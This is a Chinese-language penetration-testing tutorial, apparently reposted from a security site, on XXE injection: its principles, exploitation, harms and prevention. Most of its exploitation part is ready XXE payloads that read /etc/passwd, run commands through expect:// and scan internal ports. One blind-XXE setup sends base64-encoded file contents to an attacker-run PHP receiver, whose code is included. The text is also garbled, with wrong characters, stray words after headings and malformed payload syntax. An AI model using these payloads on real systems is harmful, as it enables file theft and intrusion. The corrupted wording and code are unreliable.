渗透测试之XXE漏洞

admin 2022年6月13日16:15:13安全文章渗透测试之XXE漏洞已关闭评论24 views4147字阅读13分49秒阅读模式
XML外部实体注入简称XXE漏洞:XML用于标记电子文件使其具备结构性的标记语言,能够用来标记数据、定义数据类型,是一种容许用户对本身的标记语言进行定义的源语言。
  • 01 XML基础知识php

  • 02 XXE漏洞原理css

  • 03 XXE漏洞利用html

  • 04 XXE漏洞绕过方式nginx

  • 05 XXE形成的危害flask

  • 06 XML注入预防安全

XML基础知识
微信


XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的做用是定义 XML 文档的合法构建模块。DTD 能够在 XML 文档内声明,也能够外部引用。app

<?xml version=”1.0”>           //xml声明

<!DOCTYPE  note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to   (#PCDATA)>                     //文档类型定义
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body   (#PCDATA)>
]>

<note>
<to>George</to>
<from>John</from>                                 //文档元素
<heading>Reminder</heading>
<body>Don’t forget the meeting</body>

XXE漏洞原理

XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者能够经过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;libxml2.9.1及之后,默认再也不解析外部实体。
内部声明 DTD             
<!DOCTYPE 根元素 [元素声明]>
引用外部 DTD                 
<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
/或者
<!DOCTYPE 根元素 SYSTEM "文件名">
在解析 XML 时,实体将会被替换成相应的引用内容,xml文档以下所示:
(1) 包含内部实体的 XML 文档
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
    <!ENTITY copyright "Copyright xx.xx.xx">
]>

<c>&copyright;</c>

(2) 包含外部实体的 XML 文档

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
    <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
]>

<c>&copyright;</c>

XXE漏洞利用


(1) XML 解析器解析外部实体时支持多种协议
libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip二、data、glob、phar
Java:file、http、ftp、https、jar、netdoc、mailto、gopher
.NET:file、http、ftp、https

(2) 不一样解析器可能默认对于外部实体会有不一样的处理规则,有些可能不会对外部实体进行解析: 

PHP:

  • DOMSimpleXML

.NET:

  • System.Xml.XmlDocumentSystem.Xml.XmlReader

对于XXE一般有两种利用方式:
攻击者经过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:
<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE c [
      <!ENTITY file SYSTEM "file:///etc/passwd">
  ]>

<c>&file;</c>

服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,通常引用时用 % 做为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:
<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE c [
       <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"
       %a;
    ]>

<c>&b;</c>

Blind XXE 采用嵌套形式创建带外数据通道,利用参数实体将本地内容读出来后,做为外部实体中的 URL 中的参数向其指定服务器发起请求,而后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不容许在内层实体中使用外部链接,不管内层是通常实体仍是参数实体,因此须要将嵌套的实体声明放在外部文件中。


XXE漏洞绕过方式


有回显方式的XXE漏洞利用两种方式:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>
<name>&xxe;</name>
</root>
渗透测试之XXE漏洞


方式2、xml内容为:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY  % d  SYSTEM "http://ip/evil.dtd" >
%d;
]>

<root>
<name>&b;</name>
</root>

远程vps服务器 www/html文件下创建evil.dtd文件,文件内容以下:

<!ENTITY b SYSTEM "file:///etc/passwd">

无回显方式的XXE漏洞利用:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY  % file  SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >
<!ENTITY  % remote  SYSTEM "http://ip/evil2.dtd" >
%remote;
%all;
%send;
]>

远程端vps上在www/html文件夹下放置两个文件一个为test.php文件用于接收信息,另外一个为test.dtd,其中test.php代码以下:

<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']); 
file_put_contents($file , $content);
echo "\n"
?>

test.dtd中代码以下:

<!ENTITY % all
"<!ENTITY &#x25send SYSTEM 'http://ip/xxe/test.php?file=%file;'>
"
>

XML形成的危害


(1) 读取任意文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>
<name>&xxe;</name>
</root>
渗透测试之XXE漏洞


(2) 执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其余协议也有可能执行系统命令;
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>

<root>
<name>&xxe;</name>
</root>

(3) 探测内网端口



    
    
     
     
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>

<root>
<name>&xxe; </name>
</root>

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>

<root>
<name>&xxe;</name>
</root>
渗透测试之XXE漏洞


XML注入预防

<       &lt;
>       &gt;
&       &amp;
‘      &apos;
“      &quot;

二、过滤用户提交的XML数据,关键词:,SYSTEM和PUBLIC;

三、禁用外部实体:libxml_disable_entity_loader(true)

- 往期推荐 -


渗透系列之flask框架开启debug模式漏洞分析

渗透系列之隐藏在发送邮件处的任意文件下载

渗透测试业务逻辑测试汇总—通用篇

渗透系列之短信轰炸空格绕过

渗透系列之SSRF漏洞

【推荐书籍】

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日16:15:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  渗透测试之XXE漏洞 http://cn-sec.com/archives/1112429.html